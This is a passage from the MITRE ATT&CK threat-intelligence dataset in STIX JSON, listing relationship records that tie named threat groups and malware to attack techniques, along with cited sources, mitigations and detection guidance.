Profile)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a693ff6-1969-443b-8eb4-bb2ad56f0dba","created":"2022-10-06T17:29:06.215Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T17:29:06.215Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used [zwShell](https://attack.mitre.org/software/S0350) to establish full remote control of the connected machine and run command-line shells.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3a6a0b1a-55bf-4475-9eea-b00639367fab","created":"2022-04-14T11:17:52.541Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TrailBlazer](https://attack.mitre.org/software/S0682) has used random identifier strings to obscure its C2 operations and result codes.(Citation: CrowdStrike StellarParticle January 2022)","modified":"2022-04-14T11:17:52.541Z","relationship_type":"uses","source_ref":"malware--bdad6f3b-de88-42fa-9295-d29b5271808e","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a6a72e8-0637-41db-b455-6b5d629aba28","type":"relationship","created":"2021-06-10T15:14:42.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-10T15:14:42.391Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can decode its payload prior to execution.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a72e519-b85c-4dec-9ffd-74eec8af03ca","created":"2022-10-04T04:29:43.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Application Bundle Manipulation Brandon Dalton","description":"Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.","url":"https://redcanary.com/blog/mac-application-bundles/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T20:39:55.087Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) has dropped a malicious applet into an app's `.../Contents/MacOS/` folder of a previously launched app to bypass Gatekeeper's security checks on first launch apps (prior to macOS 13).(Citation: Application Bundle Manipulation Brandon Dalton)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a75d307-2fde-412e-b01e-8cb0e157e762","created":"2023-07-28T18:06:19.488Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-28T18:06:19.488Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has injected fraudulent transactions into compromised networks that mimic legitimate behavior to siphon off incremental amounts of money.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a837390-7974-44e0-9d60-4c9831b8e272","type":"relationship","created":"2020-02-19T18:52:25.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-19T18:52:25.318Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a86072e-4ca6-4b5d-bf31-b17c250f572e","created":"2020-06-29T03:27:51.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA ComRAT Oct 2020","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a"},{"source_name":"ESET ComRAT May 2020","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:30:59.623Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has encrypted its virtual file system using AES-256 in XTS mode.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a8964df-801d-407c-8233-9a7365d2882d","created":"2022-07-29T19:35:35.968Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:42:44.170Z","description":"Monitor for changes made to a file may delete or alter generated artifacts associated with persistence on a host system.","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a89a2dc-d53f-47ee-98fd-8c52980d5113","created":"2024-09-04T21:25:44.145Z","revoked":false,"external_references":[{"source_name":"Talos Manjusaka 2022","description":"Asheer Malhotra & Vitor Ventura. (2022, August 2). Manjusaka: A Chinese sibling of Sliver and Cobalt Strike. Retrieved September 4, 2024.","url":"https://blog.talosintelligence.com/manjusaka-offensive-framework/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T21:25:44.145Z","description":"[Manjusaka](https://attack.mitre.org/software/S1156) gathers information about current network connections, local and remote addresses associated with them, and associated processes.(Citation: Talos Manjusaka 2022)","relationship_type":"uses","source_ref":"malware--dd2ad3d7-d7ef-4af5-a919-bfe8f2571705","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a8ce0e1-0c2e-4ce5-bd21-8d51b3027376","type":"relationship","created":"2022-03-26T03:47:58.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T03:47:58.934Z","description":"[Mythic](https://attack.mitre.org/software/S0699) supports DNS-based C2 profiles.(Citation: Mythc Documentation)\t","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a8d8063-3f4d-420d-8c72-2b99077aa487","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"},{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"},{"source_name":"FireEye APT32 April 2020","url":"https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html","description":"Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020."},{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}],"modified":"2021-09-24T20:24:27.639Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails with a malicious executable disguised as a document or spreadsheet.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: FireEye APT32 April 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a8ff308-9a5d-4b59-8508-157a41323765","created":"2024-07-01T18:17:02.314Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T18:17:02.314Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can run a custom binary protocol under HTTPS for C2.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3a907723-bc0a-4a35-a9fc-dd45ad7752a8","created":"2022-04-01T02:15:49.902Z","x_mitre_version":"1.0","external_references":[{"source_name":"MFA Fatigue Attacks - PortSwigger","url":"https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications","description":"Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Implement more secure 2FA/MFA mechanisms in replacement of simple push or one-click 2FA/MFA options. For example, having users enter a one-time code provided by the login screen into the 2FA/MFA application or utilizing other out-of-band 2FA/MFA mechanisms (such as rotating code-based hardware tokens providing rotating codes that need an accompanying user pin) may be more secure. Furthermore, change default configurations and implement limits upon the maximum number of 2FA/MFA request prompts that can be sent to users in period of time.(Citation: MFA Fatigue Attacks - PortSwigger)","modified":"2022-04-15T21:10:33.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a9117f6-9244-4d09-a69b-43afbb4d2998","type":"relationship","created":"2020-06-16T17:53:18.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-16T17:53:18.390Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047)'s malware can take screenshots of the compromised computer every minute.(Citation: ESET Gamaredon June 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3a9332d5-befd-4d39-9721-3bad62b374a1","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T18:44:08.083Z","description":"Monitor logs from cloud platforms like AWS, GCP, or Azure to detect anomalies related to container or image execution. Look for unusual patterns or log events that deviate from typical behavior.\n\nAnalytic 1 - Unusual application logs indicating image execution anomalies.\n\nsourcetype=application_log EventCode=1000 OR EventCode=1001\n| search log_level=ERROR OR log_level=WARNING OR message IN (\"failed to pull image\", \"container crash\", \"unauthorized access\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a9abcd5-52ba-44f1-96a5-1593f816b9f0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2020-03-17T00:35:36.650Z","description":"Various implementations of [CHOPSTICK](https://attack.mitre.org/software/S0023) communicate with C2 over HTTP.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3a9e3914-2503-41e7-a9cb-57dd30f97a8a","created":"2022-06-09T19:39:01.744Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) can download additional files onto a compromised host.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:39:01.744Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3aab83a8-eeda-4fdd-a103-d7f1e8d02989","type":"relationship","created":"2020-02-11T16:28:40.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-02-11T16:28:40.141Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can user PowerView to execute “net user” commands and create domain accounts.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3aacea96-941f-4a1d-8981-36d2a0e62cf3","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Obfuscation June 2017","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","url":"https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"},{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:31:34.136Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used malicious e-mail attachments to lure victims into executing malware.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ab344fd-eb65-413d-a942-37336d25bd10","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor newly executed processes that may abuse Windows safe mode to disable endpoint defenses.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--28170e17-8384-415c-8486-2e6b294cb803","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ab372ea-c8be-4fb1-a9d3-4aa542e1f10f","type":"relationship","created":"2020-03-10T18:23:06.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-22T17:29:46.538Z","description":"Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ab45417-a7b7-4843-b70a-864f3cfe98d7","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor files viewed in isolation that may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ab4c52a-aa3d-4c65-bd68-6614a0fb7bfe","created":"2019-01-29T21:27:25.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.987Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used a command-line tunneler, NACHOCHEESE, to give them shell access to a victim’s machine.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ab61135-89b5-4074-9251-40f41c7f739a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}],"modified":"2019-04-24T23:55:43.439Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) gathers the IP address and domain from the victim’s machine.(Citation: Unit 42 DarkHydrus July 2018)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ab6b7bc-bb49-4fcd-83fc-abbec5912d41","type":"relationship","created":"2019-01-30T17:33:40.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","source_name":"Symantec MuddyWater Dec 2018"}],"modified":"2021-04-26T22:30:06.390Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used a custom tool for creating reverse shells.(Citation: Symantec MuddyWater Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3abe204d-7369-4344-bc39-e648277a3a72","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor executed commands and arguments associated with modifications to variables and files associated with loading shared libraries such as LD_PRELOAD on Linux and DYLD_INSERT_LIBRARIES on 